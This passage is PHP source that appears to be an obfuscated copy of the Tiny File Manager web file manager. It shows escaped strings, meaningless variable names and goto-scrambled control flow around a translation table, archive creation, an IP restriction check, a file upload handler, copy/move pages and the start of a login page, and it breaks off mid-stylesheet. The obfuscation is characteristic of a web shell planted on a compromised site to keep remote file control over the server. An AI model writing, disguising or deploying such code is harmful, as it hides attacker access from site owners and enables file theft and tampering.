$iiiiiiiii["\145\156"]["\x53\141\x76\x65\144\x20\123\165\143\x63\x65\x73\x73\x66\165\x6c\x6c\x79"] = "\x53\141\x76\x65\144\x20\123\165\x63\143\145\x73\x73\146\x75\154\x6c\171"; $iiiiiiiii["\x65\x6e"]["\156\157\x74\40\146\x6f\x75\156\x64\41"] = "\x6e\x6f\x74\x20\x66\x6f\x75\x6e\144\41"; $iiiiiiiii["\145\x6e"]["\x46\151\x6c\145\40\x53\x61\166\x65\x64\40\x53\165\143\143\x65\x73\163\x66\165\x6c\154\171"] = "\106\151\154\x65\40\x53\x61\x76\145\x64\40\123\165\143\x63\145\163\x73\146\x75\154\x6c\171"; $iiiiiiiii["\x65\x6e"]["\101\162\x63\150\x69\166\145"] = "\101\162\143\150\x69\166\145"; $iiiiiiiii["\145\x6e"]["\120\x65\162\x6d\151\163\x73\x69\157\x6e\x73\40\x6e\157\x74\x20\x63\150\x61\x6e\147\x65\x64"] = "\120\x65\162\155\151\x73\163\151\x6f\x6e\x73\40\156\x6f\x74\40\143\x68\141\156\147\145\x64"; $iiiiiiiii["\x65\156"]["\x53\145\x6c\145\143\x74\x20\x66\x6f\x6c\144\x65\x72"] = "\123\x65\x6c\145\x63\164\40\146\x6f\154\144\x65\162"; $iiiiiiiii["\145\x6e"]["\123\x6f\x75\x72\143\145\x20\160\141\x74\x68\40\x6e\157\x74\40\x64\x65\x66\151\x6e\x65\x64"] = "\x53\x6f\165\162\x63\x65\40\160\x61\x74\x68\x20\x6e\157\164\x20\x64\x65\x66\151\x6e\x65\144"; $iiiiiiiii["\145\x6e"]["\x61\154\x72\x65\141\144\x79\40\x65\170\151\163\164\x73"] = "\141\x6c\x72\145\141\144\x79\x20\x65\x78\151\x73\164\163"; $iiiiiiiii["\x65\x6e"]["\x45\162\162\157\x72\x20\x77\x68\x69\x6c\x65\x20\x6d\157\x76\151\x6e\147\40\x66\162\x6f\x6d"] = "\x45\162\x72\x6f\x72\40\x77\x68\151\x6c\x65\40\155\x6f\x76\x69\x6e\147\x20\146\x72\157\x6d"; $iiiiiiiii["\x65\156"]["\103\162\145\x61\x74\145\x20\141\162\x63\150\x69\166\x65\x3f"] = "\x43\162\x65\141\x74\145\x20\x61\162\x63\150\151\x76\x65\x3f"; $iiiiiiiii["\145\156"]["\x49\x6e\166\x61\154\x69\x64\x20\x66\151\x6c\145\40\157\162\40\x66\157\x6c\144\145\x72\40\x6e\141\155\x65"] = "\x49\156\x76\x61\x6c\x69\144\40\146\151\154\x65\40\157\162\x20\146\x6f\154\144\145\x72\40\156\x61\x6d\145"; $iiiiiiiii["\145\156"]["\x41\x72\143\150\x69\166\145\x20\x75\156\x70\x61\x63\153\x65\144"] = "\x41\x72\143\150\x69\166\x65\x20\165\156\x70\x61\x63\x6b\145\x64"; $iiiiiiiii["\145\x6e"]["\x46\x69\x6c\x65\40\x65\x78\x74\x65\x6e\163\x69\157\156\x20\x69\x73\x20\x6e\x6f\x74\x20\141\x6c\154\x6f\x77\145\x64"] = "\106\x69\x6c\x65\40\145\170\164\145\156\163\151\157\156\x20\151\163\x20\x6e\x6f\x74\40\141\154\154\157\x77\145\x64"; $iiiiiiiii["\x65\x6e"]["\122\x6f\x6f\x74\x20\x70\141\164\150"] = "\122\x6f\157\164\x20\160\x61\164\150"; $iiiiiiiii["\145\156"]["\105\x72\162\157\162\40\167\150\151\x6c\145\x20\162\x65\x6e\141\155\x69\156\x67\x20\x66\162\x6f\155"] = "\x45\x72\x72\x6f\x72\40\x77\x68\x69\154\145\x20\162\145\x6e\141\155\x69\156\147\x20\146\x72\157\155"; $iiiiiiiii["\x65\156"]["\106\151\154\145\40\156\x6f\x74\x20\x66\x6f\165\x6e\144"] = "\106\x69\154\x65\x20\156\157\164\40\x66\x6f\x75\156\144"; $iiiiiiiii["\145\x6e"]["\x45\x72\162\x6f\162\x20\x77\150\151\154\145\x20\144\145\154\x65\164\x69\x6e\147\40\x69\164\145\155\163"] = "\105\162\162\x6f\x72\40\167\150\x69\154\x65\40\x64\145\154\x65\164\151\156\147\40\x69\164\145\x6d\x73"; $iiiiiiiii["\x65\156"]["\115\x6f\166\x65\x64\x20\x66\x72\157\155"] = "\115\157\166\145\x64\x20\x66\162\157\155"; $iiiiiiiii["\x65\156"]["\107\x65\156\145\162\141\x74\x65\x20\156\x65\167\x20\160\141\163\163\x77\x6f\x72\x64\x20\150\x61\163\150"] = "\x47\145\x6e\x65\x72\x61\164\145\x20\156\x65\167\40\160\141\x73\163\x77\x6f\x72\x64\x20\x68\141\163\x68"; $iiiiiiiii["\145\156"]["\114\157\x67\151\156\40\146\x61\151\x6c\x65\x64\56\x20\x49\x6e\166\141\154\x69\x64\x20\165\x73\x65\x72\x6e\x61\x6d\x65\40\x6f\x72\40\160\141\x73\163\167\x6f\x72\x64"] = "\114\x6f\147\151\156\40\146\x61\151\154\x65\144\x2e\x20\111\x6e\x76\x61\x6c\151\x64\40\165\x73\x65\162\x6e\141\155\x65\x20\x6f\162\x20\160\x61\163\x73\167\x6f\162\144"; $iiiiiiiii["\145\156"]["\160\141\163\163\167\x6f\x72\144\x5f\x68\141\x73\x68\x20\156\x6f\x74\x20\163\x75\x70\x70\x6f\162\x74\x65\144\x2c\x20\x55\x70\147\162\x61\x64\145\x20\x50\110\x50\x20\166\145\162\163\151\157\156"] = "\160\141\x73\163\167\157\162\144\x5f\150\141\x73\x68\x20\156\157\x74\x20\163\165\160\160\x6f\162\164\145\144\54\x20\x55\160\147\x72\x61\x64\145\x20\120\x48\x50\40\x76\x65\x72\163\151\x6f\x6e"; $iiiiiiiii["\x65\156"]["\x41\144\166\141\x6e\143\x65\144\40\123\x65\x61\162\x63\x68"] = "\101\x64\x76\141\x6e\x63\x65\x64\40\123\145\x61\x72\x63\x68"; $iiiiiiiii["\145\156"]["\105\x72\x72\x6f\x72\x20\x77\x68\151\154\x65\40\143\157\160\171\x69\x6e\x67\40\x66\162\157\155"] = "\105\x72\x72\x6f\x72\40\167\x68\x69\154\x65\40\x63\157\160\x79\151\156\x67\40\x66\x72\157\x6d"; $iiiiiiiii["\145\156"]["\x49\x6e\166\x61\154\151\x64\x20\143\150\141\x72\x61\143\164\145\162\163\40\x69\156\x20\x66\x69\154\x65\40\156\141\155\145"] = "\111\156\x76\x61\154\151\144\x20\143\x68\x61\162\141\x63\x74\x65\162\163\x20\x69\x6e\40\x66\x69\154\145\x20\x6e\x61\x6d\145"; $iiiiiiiii["\145\x6e"]["\106\111\x4c\x45\x20\105\130\124\105\x4e\x53\x49\117\x4e\x20\110\x41\123\x20\116\x4f\124\x20\123\x55\x50\120\117\122\x54\105\x44"] = "\106\x49\114\x45\x20\x45\x58\124\x45\116\x53\111\117\x4e\x20\x48\101\123\x20\x4e\x4f\x54\x20\x53\125\120\x50\x4f\x52\x54\x45\x44"; $iiiiiiiii["\145\x6e"]["\123\145\154\x65\x63\x74\x65\144\x20\x66\151\154\x65\163\x20\x61\x6e\144\x20\146\157\x6c\144\145\162\x20\x64\x65\x6c\x65\x74\145\144"] = "\123\x65\x6c\145\x63\164\x65\144\x20\146\151\x6c\x65\163\40\141\x6e\144\40\146\x6f\154\144\x65\x72\40\144\145\x6c\x65\164\x65\x64"; $iiiiiiiii["\145\156"]["\105\162\x72\x6f\x72\x20\167\150\151\154\x65\40\146\145\x74\x63\x68\x69\x6e\147\40\141\162\x63\150\151\166\145\x20\151\x6e\146\157"] = "\105\162\162\157\x72\40\x77\x68\x69\154\x65\40\146\145\164\x63\150\x69\156\147\x20\x61\x72\x63\x68\151\x76\x65\40\x69\x6e\x66\x6f"; $iiiiiiiii["\145\x6e"]["\104\x65\x6c\x65\x74\x65\x20\x73\145\154\x65\x63\x74\x65\144\40\x66\151\154\x65\163\40\x61\156\144\40\x66\157\x6c\x64\145\162\163\x3f"] = "\104\145\x6c\x65\164\145\40\163\x65\x6c\145\143\x74\145\144\x20\x66\151\x6c\x65\163\40\141\x6e\x64\x20\x66\x6f\x6c\144\x65\x72\x73\77"; $iiiiiiiii["\145\156"]["\x53\145\141\x72\x63\x68\40\x66\151\154\x65\40\x69\x6e\x20\x66\x6f\x6c\144\x65\x72\x20\141\156\x64\40\x73\165\x62\x66\157\x6c\144\145\x72\163\x2e\x2e\56"] = "\123\145\x61\162\143\150\40\x66\x69\154\x65\x20\151\156\x20\146\x6f\x6c\x64\145\x72\40\141\x6e\x64\40\x73\165\x62\146\x6f\x6c\144\x65\x72\163\56\x2e\x2e"; $iiiiiiiii["\x65\156"]["\x41\143\x63\145\163\x73\x20\x64\x65\156\151\145\x64\x2e\40\111\120\40\x72\x65\163\x74\x72\x69\143\164\x69\x6f\x6e\x20\141\160\x70\154\x69\143\141\x62\x6c\x65"] = "\x41\143\x63\x65\x73\163\40\144\145\156\x69\145\144\56\x20\x49\x50\x20\x72\x65\163\164\x72\151\143\x74\151\x6f\x6e\x20\141\x70\160\154\151\x63\141\142\x6c\145"; $iiiiiiiii["\145\156"]["\x49\x6e\x76\x61\x6c\151\144\x20\x63\150\141\x72\141\143\164\x65\x72\x73\40\x69\156\x20\146\151\154\x65\40\x6f\x72\x20\146\x6f\x6c\144\145\162\x20\x6e\x61\155\x65"] = "\111\156\x76\141\154\x69\144\x20\143\150\141\162\x61\143\164\145\162\163\40\x69\x6e\x20\x66\151\154\145\40\157\x72\x20\146\x6f\x6c\144\145\162\x20\x6e\141\155\x65"; $iiiiiiiii["\x65\x6e"]["\117\x70\x65\162\141\164\x69\157\156\x73\x20\167\x69\164\150\40\x61\x72\143\150\x69\166\145\163\x20\141\162\145\40\156\x6f\164\40\141\166\x61\x69\154\141\142\x6c\145"] = "\117\160\145\x72\141\164\x69\157\156\x73\40\167\x69\164\150\x20\x61\162\143\150\x69\x76\x65\x73\40\x61\x72\145\40\x6e\157\164\x20\x61\166\141\x69\154\141\142\154\x65"; $iiiiiiiii["\145\x6e"]["\106\x69\x6c\x65\40\157\x72\x20\x66\x6f\154\144\x65\x72\x20\167\x69\x74\150\40\164\150\x69\x73\x20\160\x61\x74\x68\40\x61\x6c\162\145\x61\x64\x79\x20\145\x78\x69\x73\164\x73"] = "\x46\151\x6c\x65\40\x6f\162\40\x66\x6f\154\144\145\x72\x20\167\151\x74\x68\40\164\x68\x69\163\40\x70\x61\x74\x68\40\141\154\x72\145\x61\x64\x79\40\145\170\x69\163\164\x73"; $sssssssssss = fm_get_translations($iiiiiiiii); $iiiiiiiii = $sssssssssss ? $sssssssssss : $iiiiiiiii; if (!strlen($oo)) { $oo = "\145\156"; } if (isset($iiiiiiiii[$oo][$rrrrrrrrrrr])) { return fm_enc($iiiiiiiii[$oo][$rrrrrrrrrrr]); } else { if (isset($iiiiiiiii["\145\156"][$rrrrrrrrrrr])) { return fm_enc($iiiiiiiii["\x65\x6e"][$rrrrrrrrrrr]); } else { return "{$rrrrrrrrrrr}"; } } } goto Ceq1P; kpKHI: $nnnnnnnn = 6070; goto OJC1q; qpp6Y: $dddddddd = FM_THEME == "\x64\x61\x72\x6b" ? "\164\x65\170\164\x2d\167\150\151\164\x65\40\142\147\55\144\x61\x72\x6b\40\164\141\x62\x6c\x65\x2d\144\x61\x72\x6b" : "\x62\147\x2d\x77\150\x69\164\x65"; goto OBCig; uoaaG: if (!is_dir($iii)) { fm_redirect(FM_SELF_URL . "\x3f\x70\x3d"); } goto rejtV; C0Igf: $aaaaaaaa = count($lllll); goto MGso0; cOjRk: if (isset($_POST["\147\x72\x6f\x75\160"], $_POST["\164\157\153\145\156"]) && (isset($_POST["\172\x69\x70"]) || isset($_POST["\164\x61\x72"])) && !FM_READONLY) { if (!verifyToken($_POST["\164\x6f\x6b\x65\x6e"])) { fm_set_msg(lng("\111\x6e\x76\x61\x6c\151\144\40\124\x6f\153\145\x6e\x2e"), "\145\x72\x72\157\x72"); } $iii = FM_ROOT_PATH; $mmmm = "\172\151\160"; if (FM_PATH != '') { $iii .= "\57" . FM_PATH; } $mmmm = isset($_POST["\164\x61\162"]) ? "\164\x61\162" : "\172\151\x70"; if ($mmmm == "\172\x69\160" && !class_exists("\x5a\151\x70\x41\x72\143\x68\x69\x76\145") || $mmmm == "\164\x61\x72" && !class_exists("\x50\x68\141\x72\x44\x61\164\141")) { fm_set_msg(lng("\117\160\145\162\x61\164\x69\x6f\x6e\x73\x20\x77\x69\x74\150\40\141\162\x63\150\151\x76\145\x73\x20\x61\162\145\x20\x6e\x6f\x74\x20\x61\x76\141\151\154\141\x62\154\145"), "\x65\162\x72\157\162"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\x3d" . urlencode($jjj)); } $lllll = $_POST["\x66\151\x6c\x65"]; $ffffff = array(); foreach ($lllll as $ww) { array_push($ffffff, fm_clean_path($ww)); } $lllll = $ffffff; if (!empty($lllll)) { chdir($iii); if (count($lllll) == 1) { $gggggg = reset($lllll); $gggggg = basename($gggggg); $hhhhhh = $gggggg . "\x5f" . date("\171\x6d\144\137\x48\x69\163") . "\56" . $mmmm; } else { $hhhhhh = "\x61\162\x63\150\x69\166\145\x5f" . date("\171\155\144\137\110\151\163") . "\56" . $mmmm; } if ($mmmm == "\172\x69\160") { $iiiiii = new FM_Zipper(); $aaaa = $iiiiii->create($hhhhhh, $lllll); } elseif ($mmmm == "\164\x61\162") { $jjjjjj = new FM_Zipper_Tar(); $aaaa = $jjjjjj->create($hhhhhh, $lllll); } if ($aaaa) { fm_set_msg(sprintf(lng("\101\x72\143\150\151\x76\145") . "\x20\x3c\142\x3e\x25\x73\74\x2f\x62\x3e\40" . lng("\103\162\145\x61\x74\145\144"), fm_enc($hhhhhh))); } else { fm_set_msg(lng("\101\x72\143\x68\x69\166\145\40\x6e\x6f\164\x20\143\x72\145\141\164\145\144"), "\x65\162\162\x6f\x72"); } } else { fm_set_msg(lng("\116\157\x74\150\x69\x6e\147\x20\163\145\154\x65\143\164\x65\144"), "\x61\x6c\x65\x72\164"); } $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\77\x70\75" . urlencode($jjj)); } goto z8HOt; AstUl: if ($gg != "\117\x46\106") { function getClientIP() { if (array_key_exists("\110\124\x54\120\x5f\103\x46\137\103\117\116\116\105\103\x54\111\116\x47\137\x49\120", $_SERVER)) { return $_SERVER["\110\x54\x54\x50\x5f\103\106\137\103\x4f\x4e\x4e\x45\103\124\111\116\107\137\111\120"]; } else { if (array_key_exists("\x48\124\124\120\x5f\130\137\x46\117\122\127\101\x52\104\105\x44\137\106\x4f\122", $_SERVER)) { return $_SERVER["\110\x54\x54\x50\x5f\130\137\106\x4f\x52\x57\101\122\104\x45\x44\137\106\x4f\x52"]; } else { if (array_key_exists("\x52\105\115\x4f\x54\x45\137\101\x44\x44\122", $_SERVER)) { return $_SERVER["\x52\105\115\x4f\x54\x45\137\101\x44\x44\x52"]; } else { if (array_key_exists("\110\124\124\x50\x5f\x43\114\111\105\116\124\137\x49\120", $_SERVER)) { return $_SERVER["\x48\124\124\x50\x5f\x43\114\x49\x45\x4e\124\137\x49\x50"]; } } } } return ''; } $aaa = getClientIP(); $bbb = false; $ccc = in_array($aaa, $jj); $ddd = in_array($aaa, $kk); if ($gg == "\101\x4e\x44") { if ($ccc == true && $ddd == false) { $bbb = true; } } else { if ($gg == "\x4f\x52") { if ($ccc == true || $ddd == false) { $bbb = true; } } } if ($bbb == false) { trigger_error("\125\163\145\x72\40\x63\x6f\156\156\x65\143\164\x69\157\x6e\x20\x64\x65\156\151\145\x64\x20\x66\162\x6f\155\72\40" . $aaa, E_USER_WARNING); if ($hh == false) { fm_set_msg(lng("\x41\143\x63\145\163\x73\x20\144\x65\156\x69\x65\x64\x2e\x20\x49\x50\x20\162\145\163\x74\x72\x69\143\164\151\157\x6e\x20\141\x70\x70\x6c\x69\143\141\142\154\x65"), "\145\x72\x72\157\162"); fm_show_header_login(); fm_show_message(); } die; } } goto YMiN6; FV9kG: $t = $_SERVER["\x48\124\x54\120\137\110\x4f\123\x54"]; goto gTcx5; kd7ko: function get_absolute_path($iii) { $iii = str_replace(array("\57", "\x5c"), DIRECTORY_SEPARATOR, $iii); $ddddddddd = array_filter(explode(DIRECTORY_SEPARATOR, $iii), "\x73\164\x72\x6c\x65\156"); $eeeeeeeee = array(); foreach ($ddddddddd as $fffffffff) { if ("\56" == $fffffffff) { continue; } if ("\56\56" == $fffffffff) { array_pop($eeeeeeeee); } else { $eeeeeeeee[] = $fffffffff; } } return implode(DIRECTORY_SEPARATOR, $eeeeeeeee); } goto kd7LV; SuCA2: $r = $_SERVER["\x44\x4f\x43\x55\x4d\105\116\124\137\122\x4f\117\124"]; goto GhPhc; GqfHe: unset($eee, $c, $u, $m, $n); goto Au7GS; wlnA9: fm_show_message(); goto C0Igf; e5Gd4: echo lng("\123\x69\x7a\x65"); goto v2gQM; dZQnu: $rr = isset($nn->data["\150\x69\x64\x65\x5f\103\x6f\154\163"]) ? $nn->data["\150\x69\x64\x65\x5f\x43\x6f\x6c\163"] : true; goto wVm4q; MlvwS: if (isset($_GET["\x63\x6f\x70\x79"]) && !isset($_GET["\146\151\156\x69\163\150"]) && !FM_READONLY) { $xxxx = $_GET["\143\x6f\160\171"]; $xxxx = fm_clean_path($xxxx); if ($xxxx == '' || !file_exists(FM_ROOT_PATH . "\57" . $xxxx)) { fm_set_msg(lng("\x46\151\154\145\x20\156\157\164\x20\146\x6f\x75\x6e\144"), "\145\x72\x72\x6f\162"); $jjj = FM_PATH; fm_redirect(FM_SELF_URL . "\x3f\x70\75" . urlencode($jjj)); } fm_show_header(); fm_show_nav_path(FM_PATH); ?>
<div class="path"><p><b>Copying</b></p><p class="break-word"><strong>Source path:</strong><?php  echo fm_enc(fm_convert_win(FM_ROOT_PATH . "\x2f" . $xxxx)); ?>
<br><strong>Destination folder:</strong><?php  echo fm_enc(fm_convert_win(FM_ROOT_PATH . "\57" . FM_PATH)); ?>
</p><p><b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
&copy=<?php  echo urlencode($xxxx); ?>
&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> <b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
&copy=<?php  echo urlencode($xxxx); ?>
&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b> <b><a href="?p=<?php  echo urlencode(FM_PATH); ?>
"class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b></p><p><i><?php  echo lng("\123\145\154\x65\x63\164\x20\146\x6f\154\x64\x65\162"); ?>
</i></p><ul class="break-word folders"><?php  if ($qqqqqq !== false) { ?>
<li><a href="?p=<?php  echo urlencode($qqqqqq); ?>
&copy=<?php  echo urlencode($xxxx); ?>
"><i class="fa fa-chevron-circle-left"></i> ..</a></li><?php  } foreach ($ssssss as $mmmmm) { ?>
<li><a href="?p=<?php  echo urlencode(trim(FM_PATH . "\x2f" . $mmmmm, "\x2f")); ?>
&copy=<?php  echo urlencode($xxxx); ?>
"><i class="fa fa-folder-o"></i><?php  echo fm_convert_win($mmmmm); ?>
</a></li><?php  } ?>
</ul></div><?php  fm_show_footer(); die; } goto dfzP8; LGea1: if (!empty($_FILES) && !FM_READONLY) { if (isset($_POST["\164\x6f\153\x65\156"])) { if (!verifyToken($_POST["\164\157\x6b\x65\x6e"])) { $hhh = array("\163\x74\141\164\165\163" => "\145\x72\x72\x6f\162", "\x69\156\146\x6f" => "\111\x6e\x76\141\154\x69\x64\40\x54\x6f\x6b\x65\156\56"); echo json_encode($hhh); die; } } else { $hhh = array("\163\x74\x61\x74\x75\x73" => "\145\162\x72\x6f\162", "\x69\156\146\x6f" => "\124\x6f\x6b\x65\x6e\40\x4d\x69\163\163\151\156\x67\x2e"); echo json_encode($hhh); die; } $ppppp = false; $qqqqq = $_POST["\144\x7a\x63\150\165\156\153\151\156\x64\x65\170"]; $rrrrr = $_POST["\144\172\x74\157\164\x61\x6c\143\150\165\156\x6b\x63\x6f\x75\x6e\x74"]; $sssss = fm_clean_path($_REQUEST["\146\x75\154\154\x70\141\164\x68"]); $mmmmm = $_FILES; $iii = FM_ROOT_PATH; $ttttt = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $iii .= "\57" . FM_PATH; } $kkkkk = 0; $uuuuu = 0; $llll = FM_UPLOAD_EXTENSION ? explode("\54", FM_UPLOAD_EXTENSION) : false; $hhh = array("\163\164\x61\164\165\163" => "\145\162\x72\x6f\x72", "\x69\x6e\x66\x6f" => "\x4f\157\x70\163\41\x20\x54\x72\171\40\x61\x67\x61\151\x6e"); $vvvvv = $mmmmm["\146\x69\154\145"]["\x6e\x61\x6d\145"]; $wwwww = $mmmmm["\x66\151\x6c\145"]["\164\x6d\x70\x5f\x6e\141\155\145"]; $mmmm = pathinfo($vvvvv, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($vvvvv, PATHINFO_EXTENSION)) : ''; $nnnn = $llll ? in_array($mmmm, $llll) : true; if (!fm_isvalid_filename($vvvvv) && !fm_isvalid_filename($sssss)) { $hhh = array("\163\x74\141\x74\x75\x73" => "\145\x72\162\x6f\162", "\x69\x6e\x66\x6f" => "\x49\x6e\x76\x61\154\x69\x64\40\x46\x69\x6c\145\x20\x6e\x61\155\x65\x21"); echo json_encode($hhh); die; } $xxxxx = $iii . $ttttt; if (is_writable($xxxxx)) { $ppp = $iii . "\x2f" . basename($sssss); $yyyyy = substr($ppp, 0, strrpos($ppp, "\57")); if (file_exists($ppp) && !$ppppp && !$zzzzz) { $aaaaaa = $mmmm ? "\x2e" . $mmmm : ''; $ppp = $iii . "\57" . basename($sssss, $aaaaaa) . "\137" . date("\171\155\x64\x48\151\163") . $aaaaaa; } if (!is_dir($yyyyy)) { $nnnnn = umask(0); mkdir($yyyyy, 511, true); umask($nnnnn); } if (empty($mmmmm["\x66\151\154\145"]["\145\162\162\157\x72"]) && !empty($wwwww) && $wwwww != "\x6e\157\156\x65" && $nnnn) { if ($rrrrr) { $bbbbbb = @fopen("{$ppp}\x2e\x70\141\162\x74", $qqqqq == 0 ? "\167\142" : "\141\142"); if ($bbbbbb) { $cccccc = @fopen($wwwww, "\162\142"); if ($cccccc) { while ($dddddd = fread($cccccc, 4096)) { fwrite($bbbbbb, $dddddd); } $hhh = array("\x73\164\141\x74\165\x73" => "\x73\165\x63\x63\145\163\163", "\151\156\x66\x6f" => "\146\x69\154\x65\x20\165\x70\154\157\141\x64\x20\x73\x75\x63\x63\145\163\x73\x66\x75\154"); } else { $hhh = array("\x73\x74\x61\164\165\x73" => "\145\162\x72\x6f\162", "\x69\x6e\x66\157" => "\x66\x61\x69\154\145\x64\40\x74\157\40\x6f\160\x65\x6e\40\x6f\165\164\x70\165\x74\x20\163\164\x72\145\141\155", "\145\x72\x72\x6f\162\x44\145\164\141\x69\154\163" => error_get_last()); } @fclose($cccccc); @fclose($bbbbbb); @unlink($wwwww); $hhh = array("\x73\x74\x61\x74\165\x73" => "\x73\165\x63\x63\x65\x73\163", "\x69\x6e\146\157" => "\146\x69\x6c\145\x20\x75\160\154\157\141\x64\x20\x73\x75\143\143\x65\163\163\146\165\154"); } else { $hhh = array("\x73\x74\x61\x74\165\x73" => "\x65\x72\162\x6f\162", "\151\156\146\x6f" => "\x66\x61\x69\x6c\145\x64\40\164\x6f\40\157\x70\x65\156\x20\x6f\165\x74\160\165\164\x20\x73\164\x72\145\x61\x6d"); } if ($qqqqq == $rrrrr - 1) { rename("{$ppp}\56\160\x61\162\164", $ppp); } } else { if (move_uploaded_file($wwwww, $ppp)) { if (file_exists($ppp)) { $hhh = array("\x73\x74\141\x74\165\163" => "\x73\165\143\x63\x65\x73\163", "\151\156\x66\157" => "\146\x69\154\x65\x20\x75\x70\154\157\x61\x64\40\163\x75\143\x63\145\163\163\x66\165\x6c"); } else { $hhh = array("\163\x74\141\164\165\163" => "\145\162\x72\x6f\x72", "\x69\156\146\x6f" => "\x43\157\x75\154\144\156\47\164\x20\x75\160\154\x6f\x61\144\40\x74\150\x65\x20\162\x65\x71\165\x65\x73\x74\145\144\x20\146\151\x6c\145\x2e"); } } else { $hhh = array("\x73\164\x61\164\165\163" => "\145\162\x72\157\x72", "\151\156\x66\157" => "\105\162\162\x6f\x72\x20\167\x68\x69\154\145\x20\x75\x70\154\157\x61\144\x69\x6e\x67\x20\146\151\x6c\145\x73\x2e\40\125\160\x6c\x6f\141\x64\145\x64\x20\x66\x69\154\145\163\40{$uuuuu}"); } } } } else { $hhh = array("\163\164\x61\x74\165\163" => "\145\x72\162\x6f\x72", "\151\x6e\x66\x6f" => "\x54\x68\x65\40\163\x70\145\x63\151\146\151\145\144\x20\x66\157\x6c\x64\x65\x72\x20\146\x6f\162\x20\x75\x70\x6c\157\141\x64\x20\x69\163\x6e\47\x74\x20\167\x72\x69\164\145\141\142\154\x65\56"); } echo json_encode($hhh); die; } goto dj1Vl; SL0gk: function fm_show_header_login() { $qqqqqqqqqqq = "\62\60\61\66\60\x33\61\65"; header("\103\157\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\72\40\x74\145\x78\164\57\150\164\x6d\154\x3b\x20\143\x68\141\x72\163\145\x74\x3d\165\x74\146\55\70"); header("\105\170\160\151\x72\x65\x73\72\40\x53\x61\x74\54\40\62\x36\40\112\x75\x6c\x20\61\x39\x39\67\40\x30\x35\x3a\x30\60\72\60\x30\x20\x47\115\124"); header("\103\x61\143\x68\145\x2d\x43\x6f\156\164\162\x6f\154\72\x20\156\x6f\x2d\x73\x74\157\162\145\54\40\156\x6f\x2d\143\141\143\x68\x65\x2c\x20\155\x75\x73\164\x2d\162\x65\x76\x61\x6c\x69\144\141\164\x65\54\x20\160\157\x73\x74\x2d\x63\150\x65\x63\x6b\x3d\60\54\x20\x70\x72\x65\55\143\150\x65\143\153\75\x30"); header("\120\x72\x61\x67\155\141\x3a\40\x6e\157\55\x63\141\x63\150\x65"); global $oo, $s, $aa; ?>
<!doctypehtml><html lang="en"><head><meta charset="utf-8"><meta content="width=device-width,initial-scale=1,shrink-to-fit=no"name="viewport"><meta content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager"name="description"><meta content="CCP Programmers"name="author"><meta content="noindex, nofollow"name="robots"><meta content="noindex"name="googlebot"><?php  if ($aa) { echo "\74\x6c\151\156\153\40\x72\145\154\75\42\151\143\x6f\x6e\x22\x20\x68\x72\145\146\x3d\x22" . fm_enc($aa) . "\42\40\164\171\160\x65\75\42\x69\155\x61\x67\145\57\x70\156\147\x22\x3e"; } ?>
<title><?php  echo fm_enc(APP_TITLE); ?>
</title><?php  print_external("\160\x72\x65\55\152\163\x64\145\154\151\x76\162"); print_external("\x63\x73\163\x2d\142\x6f\x6f\x74\x73\164\162\141\x70"); ?>
<style>body.fm-login-page{background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 